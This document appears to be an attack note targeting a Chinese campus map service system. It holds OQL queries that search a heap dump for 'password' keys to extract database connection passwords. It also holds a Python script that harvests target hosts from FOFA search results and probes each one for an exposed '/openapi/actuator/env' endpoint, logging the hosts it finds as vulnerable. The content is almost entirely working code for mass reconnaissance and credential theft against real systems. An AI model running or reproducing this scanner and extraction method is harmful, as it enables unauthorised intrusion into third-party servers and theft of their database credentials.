利用该工具的OQL查询功能,查询password关键字得到数据库连接密码 查询语句如下: select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) 或 select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
import requests import base64 from lxml import etree import time search_data='"校园地图服务系统"'
headers={ 'cookie':'fofa.cookie', } for Page_number in range(1,3): url='https://fofa.info/result?page='+str(Page_number)+'&qbase64=' search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8") urls=url+search_data_bs #print(urls) try: print('正在爬取第' + str(Page_number) + '页') result=requests.get(urls,headers=headers).content.decode('utf-8') #print(result) soup = etree.HTML(result) ip_data=soup.xpath('//a[@target="_blank"]/@href') ipdata='\n'.join(ip_data) print(ip_data) with open(r'ip.txt', 'a+') as f: f.write(ipdata+'\n') f.close() time.sleep(0.5) except Exception as e: pass
payload='/openapi/actuator/env' for ip in open('ip.txt'): ip=ip.replace('\n','') new_url=ip+payload #print(new_url) try: result=requests.get(new_url).content.decode('utf-8') code=requests.get(new_url).status_code print("check_ip->"+ip) if 'activeProfiles' in result and code==200: print(('\033[31m存在漏洞的URL->'),new_url) print('\033[0m') with open(r'result.txt','a+') as f: f.write(ip+'\n') f.close() time.sleep(0.5) except Exception as e: pass